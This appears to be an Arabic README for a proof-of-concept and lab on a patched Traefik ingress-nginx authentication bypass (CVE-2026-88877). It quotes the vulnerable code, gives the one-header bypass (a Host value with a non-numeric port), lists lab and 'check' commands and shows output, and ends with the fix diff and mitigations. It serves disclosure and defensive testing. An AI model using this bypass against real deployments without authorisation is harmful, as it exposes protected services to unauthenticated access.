
إثبات مفهوم ومختبر قابل لإعادة الإنتاج لـ CVE-2026-88877، وهو تجاوز للمصادقة في Traefik ingress-nginx عبر from-to-www-redirect، مع وضع فحص للقراءة فقط.
v3.7.0–v3.7.11 — تجاوز المصادقة عبر from-to-www-redirectالمؤلف: pwnVader · الترخيص: MIT (جذر المستودع)
| المكوّن | Traefik (موفّر Kubernetes ingress-nginx، providers.kubernetesingressnginx) |
| النوع | CWE-639 — تجاوز التفويض عبر مفتاح يتحكم به المستخدم |
| المتأثر | Traefik >= v3.7.0, <= v3.7.11 (الإصدار v2 و < v3.7.0 غير متأثرين) |
| المُصلَح | v3.7.12 |
| CVE | CVE-2026-88877 — CVSS 4.0 9.3 (حرج، وفق إشعار المورّد) · CVSS 3.1 9.8 (كما نُشر من قِبل بعض قواعد بيانات الثغرات) |
| الإشعار الرسمي | GHSA-cjr6-pf59-jq29 (إشعار مستودع Traefik) |
| PoC | poc.sh · lab/ |
حالة الإفصاح. أُفصِح عن هذه الثغرة علنًا من قِبل مشروع Traefik وتم إصلاحها في v3.7.12. هذه الوثيقة تحليل تقني مستقل مع مختبر قابل لإعادة الإنتاج — وليست الاكتشاف الأصلي. أُبلِغ عن الثغرة/أُفصِح عنها عبر إشعار المورّد المذكور أعلاه (انظر أيضًا إشعار VulnCheck). لا تستخدم هذه المواد ضد أنظمة دون تفويض صريح.
معرّفات GHSA. الإشعار الرسمي للمستودع هو GHSA-cjr6-pf59-jq29. تحمل قاعدة بيانات الإشعارات العامة في GitHub أيضًا سجلًا منفصلًا، GHSA-9rch-gvf7-hrfc، لنفس المشكلة؛ عند الاستشهاد بالثغرة، يُفضَّل إشعار المستودع.
عندما يحمل Ingress كلاً من تعليق مصادقة (مثل
nginx.ingress.kubernetes.io/auth-type: basic) و
nginx.ingress.kubernetes.io/from-to-www-redirect: "true"، يُنشئ موفّر ingress-nginx في Traefik
موجّهًا إضافيًا "شقيقًا" يطابق المضيف وحده، ويحمل فقط وسيط
RedirectRegex المُولَّد، ولا يزال يشير إلى الخلفية المحمية:
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
RedirectRegex: &dynamic.RedirectRegex{
Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
StatusCode: new(http.StatusPermanentRedirect), // 308
},
}
conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
Rule: f.ExtraRouterRule, // Host("www.example.com")
Middlewares: []string{mwName}, // ONLY the redirect middleware
Service: rt.Service, // <-- the protected backend
}
RedirectRegex ليس معالجًا نهائيًا: إذا لم يطابق تعبيره النمطي، يُمرَّر الطلب
إلى المعالج التالي ويُوكَل في النهاية إلى الخلفية. لا يقبل التعبير النمطي إلا منفذًا
رقميًا ((:[0-9]+)?)، بينما يقوم مطابق Host() في Traefik بتقنين السلطة عبر
net.SplitHostPort. لذلك فإن الطلب الذي يحتوي ترويسته Host على منفذ غير رقمي أو فارغ:
Host("www.example.com"))، لكنwww.example.com:x)، فلا يُعاد توجيهه، وطلب واحد غير مُصادَق عليه — Host: www.example.com:x — يصل إلى خلفية تتطلب
مصادقة. تعتمد حالة HTTP المُعادة على الخلفية نفسها: في هذا المختبر تُجيب خلفية
traefik/whoami بـ 200، لكن الحقيقة ذات الصلة الأمنية هي أن الطلب
وصل إلى الخلفية دون مصادقة، وليس رمز الحالة المحدد.
v3.7.0–v3.7.11 يعمل مع تمكين موفّر ingress-nginx
(--providers.kubernetesingressnginx=true).nginx.ingress.kubernetes.io/from-to-www-redirect: "true"، لمضيف بدون نظير www.
(وإلا لا يُولَّد الموجّه الشقيق).# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh # tear down
يمكن أيضًا توجيه poc.sh check إلى أي نشر مرشح:
./poc.sh check --url https://target.example --host target.example --verbose
[1] Protected host (Host: example.local) — authentication must be enforced
HTTP 401
[PASS] auth middleware enforced (HTTP 401)
[2] www host (Host: www.example.local) — the redirect router
HTTP 308
[PASS] redirect router responds (HTTP 308)
[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
HTTP 200
> Hostname: whoami-ff77f998d-25f6n
> RemoteAddr: 10.244.0.8:57586
> X-Forwarded-Server: traefik-7f76f4c58d-5knfz
== RESULT ==
[PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)
تعكس الخلفية المستخدمة في المختبر (traefik/whoami) الطلب، مما يثبت أن الطلب وصل إلى
الخدمة المحمية دون ترويسة Authorization ودون تطبيق وسيط المصادقة. رمز الحالة
المعروض (200) هو ما تُعيده هذه الخلفية تحديدًا؛ مع خلفية مختلفة قد يظهر التجاوز
كاستجابة أخرى غير 401/403/غير إعادة توجيه.
- Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+ // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+ Regex: `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
- Service: rt.Service,
+ // The redirect router does not carry the location middlewares (auth included),
+ // so it must never reach the backend.
+ Service: unavailableServiceName,
يشير موجّه إعادة التوجيه الآن إلى خدمة داخلية unavailable، لذا حتى إذا تسرّب طلب
عبر التعبير النمطي فلن يتمكن أبدًا من الوصول إلى خلفية محمية.
حدِّث إلى Traefik v3.7.12 أو أحدث. يجب على عمليات التثبيت التي لا تستطيع التحديث إزالة
nginx.ingress.kubernetes.io/from-to-www-redirect مؤقتًا من أي Ingress يجمع بين المصادقة أو
قوائم السماح، وتنفيذ إعادة التوجيه بإعداد يحافظ على وسيطات التحكم في الوصول (مثل
CRDs صريحة لـ Traefik RedirectScheme/RedirectRegex مع الوسيطات
المرتبطة). الدفاع في العمق: فرض المصادقة أيضًا على الخلفية/المنبع.
لاختبار الأمان المصرَّح به فقط. المختبر محلي ومكتفٍ ذاتيًا؛ وضع check هو
للقراءة فقط (ثلاثة طلبات GET) ويجب استخدامه فقط ضد الأنظمة التي تملكها أو لديك تفويض
صريح لاختبارها.